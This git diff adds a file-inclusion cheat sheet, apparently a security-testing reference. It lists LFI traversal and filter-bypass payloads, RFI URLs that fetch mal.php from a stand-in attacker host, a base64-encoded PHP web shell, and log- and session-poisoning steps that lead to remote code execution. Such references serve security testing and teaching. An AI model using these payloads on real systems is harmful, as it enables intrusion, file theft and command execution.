diff --git a/File Inclusion.md b/File Inclusion.md new file mode 100644 index 0000000..7525060 --- /dev/null +++ b/File Inclusion.md @@ -0,0 +1,313 @@ +# File Inclusion +* **`Remote File Inclusion (RFI)`**: The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include). +* **`Local File Inclusion (LFI)`**: The sever loads a local file. + +**Vulnerable PHP functions:** +* `require` +* `require_once` +* `include` +* `include_once` + + +## Basic LFI +In the following examples we include the `/etc/passwd` file, check the **`Directory & Path Traversal`** chapter for more interesting files. +```html +http://example.com/index.php?page=../../../etc/passwd +``` +traversal sequences stripped non-recursively +```html +http://example.com/index.php?page=....//....//....//etc/passwd +http://example.com/index.php?page=....\/....\/....\/etc/passwd +http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd +``` +### Null byte (%00) +Bypass the append more chars at the end of the provided string (bypass of: `$_GET['param']."php"`) +```html +http://example.com/index.php?page=../../../etc/passwd%00 +``` +This is solved since **PHP 5.4** + +### Encoding +```html +http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd +http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd +http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd +http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 +``` + +### From existent folder +Maybe the back-end is checking the folder path: +```html +http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd +``` +### Identifying folders on a server +* identify the "depth" of you current directory by succesfully retrieving `/etc/passwd` (if on Linux): +```html +http://example.com/index.php?page=../../../etc/passwd # depth of 3 +``` +* try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to `/etc/passwd`: +```html +http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd +``` +* if the application is **vulnerable**, there might be two different outcomes to the request: + 1. if you get an `error / no output`, the private folder does not exist at this location + 2. if you get the content from `/etc/passwd`, you validated that there is indeed a privatefolder in your current directory + + you want to check if `/var/www/` contains a private directory, use the following payload: + ```html +http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd +``` +The following sequence of commands allows the generation of payloads using sed (1) as input for url fuzzing tools such as ffuf (2): +```bash +# 1 +sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt + +# 2 +ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root" +``` + +### Path truncation +Bypass the append of more chars at the end of the provided string (bypass of: `$_GET['param']."php"`) +```html +In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/. +Check if last 6 chars are passwd --> passwd/ +Check if last 4 chars are ".php" --> shellcode.php/. +``` + +```html +http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. +http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. + +#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027) + +http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd +http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd +``` +> Always try to start the path with a fake directory (a/). +> +> **This vulnerability was corrected in PHP 5.3** + +### Filter bypass tricks +```html +http://example.com/index.php?page=....//....//etc/passwd +http://example.com/index.php?page=..///////..////..//////etc/passwd +http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd +Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd +http://example.com/index.php?page=PhP://filter +``` + +## Remote File Inclusion +In **php** this is disable by default because `allow_url_include` is **Off**. It must be On for it to work, and in that case you could include a PHP file from your server and get RCE: +```html +http://example.com/index.php?page=http://atacker.com/mal.php +http://example.com/index.php?page=\\attacker.com\shared\mal.php +``` +If for some reason `allow_url_include` is **On**, but PHP is filtering access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE: +```html +PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt +``` +Another example not using the **`php://`** protocol would be: +```html +data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt +``` + +## Python Root element +In python in a code like this one: +```python +# file_name is controlled by a user +os.path.join(os.getcwd(), "public", file_name) +``` +If the user passes an absolute path to `file_name`, the previous path is just removed: +```python +os.path.join(os.getcwd(), "public", "/etc/passwd") +'/etc/passwd' +``` + +### Top 25 parameters +Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) +```html +?cat={payload} +?dir={payload} +?action={payload} +?board={payload} +?date={payload} +?detail={payload} +?file={payload} +?download={payload} +?path={payload} +?folder={payload} +?prefix={payload} +?include={payload} +?page={payload} +?inc={payload} +?locate={payload} +?show={payload} +?doc={payload} +?site={payload} +?type={payload} +?view={payload} +?content={payload} +?document={payload} +?layout={payload} +?mod={payload} +?conf={payload} +``` + +## LFI / RFI using PHP wrappers & protocols +### php://filter +PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters: +1. **String Filters**: + * `string.rot13` + * `string.toupper` + * `string.tolower` + * `string.strip_tags`: Remove tags from the data (everything between `"<"` and `">"` chars) + > Note that this filter has disappear from the modern versions of PHP +2. **Conversion Filters** + * `convert.base64-encode` + * `convert.base64-decode` + * `convert.quoted-printable-encode` + * `convert.quoted-printable-decode` + * `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . To get the list of all the encodings supported run in the console: `iconv -l` +3. **Compression Filters** + * `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info) + * `zlib.inflate`: Decompress the data +4. **Encryption Filters** + * `mcrypt.*` : Deprecated + * `mdecrypt.*` : Deprecated +5. **Other Filters** + +Running in php `var_dump(stream_get_filters());` you can find a couple of unexpected filters: + * `consumed` + * `dechunk`: reverses HTTP chunked encoding + * `convert.*` + +```bash +# String Filters +## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd +echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); +## Same chain without the "|" char +echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); +## string.string_tags example +echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); + +# Conversion filter +## B64 decode +echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); +## Chain B64 encode and decode +echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); +## convert.quoted-printable-encode example +echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); +=C2=A3hellooo=3D +## convert.iconv.utf-8.utf-16le +echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); + +# Compresion Filter +## Compress + B64 +echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); +readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally +# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) +``` + +### Via Email +Send a mail to a internal account (`user@localhost`) containing your PHP payload like `` and try to include to the mail of the user with a path like `/var/mail/` or `/var/spool/mail/` + +### Via upload +If you can upload a file, just inject the shell payload in it (e.g : ). +```html +http://example.com/index.php?page=path/to/uploaded/file.png +``` +In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf + +### RCE via Mail +First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail. +```bash +root@kali:~# telnet 10.10.10.10. 25 +Trying 10.10.10.10.... +Connected to 10.10.10.10.. +Escape character is '^]'. +220 straylight ESMTP Postfix (Debian/GNU) +helo ok +250 straylight +mail from: mail@example.com +250 2.1.0 Ok +rcpt to: root +250 2.1.5 Ok +data +354 End data with . +subject: +data2 +. +``` +In some cases you can also send the email with the mail command line. +```bash +mail -s "" www-data@10.10.10.10. < /dev/null +``` +### RCE via Apache logs +Poison the User-Agent in access logs: +```bash +curl http://example.org/ -A "" +``` +> Note: The logs will escape double quotes so use single quotes for strings in the PHP payload. + +Then request the logs via the LFI and execute your command. +```bash +curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id +``` + + +### LFI to RCE via PHP sessions +Check if the website use PHP Session (`PHPSESSID`) +```html +Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ +Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly +``` +In PHP these sessions are stored into `/var/lib/php5/sess_[PHPSESSID]` or `/var/lib/php/sessions/sess_[PHPSESSID]` files +```html +/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. +user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; +``` +Set the cookie to `` +```html +login=1&user=&pass=password&lang=en_us.php +``` +Use the LFI to include the PHP session file +```html +login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +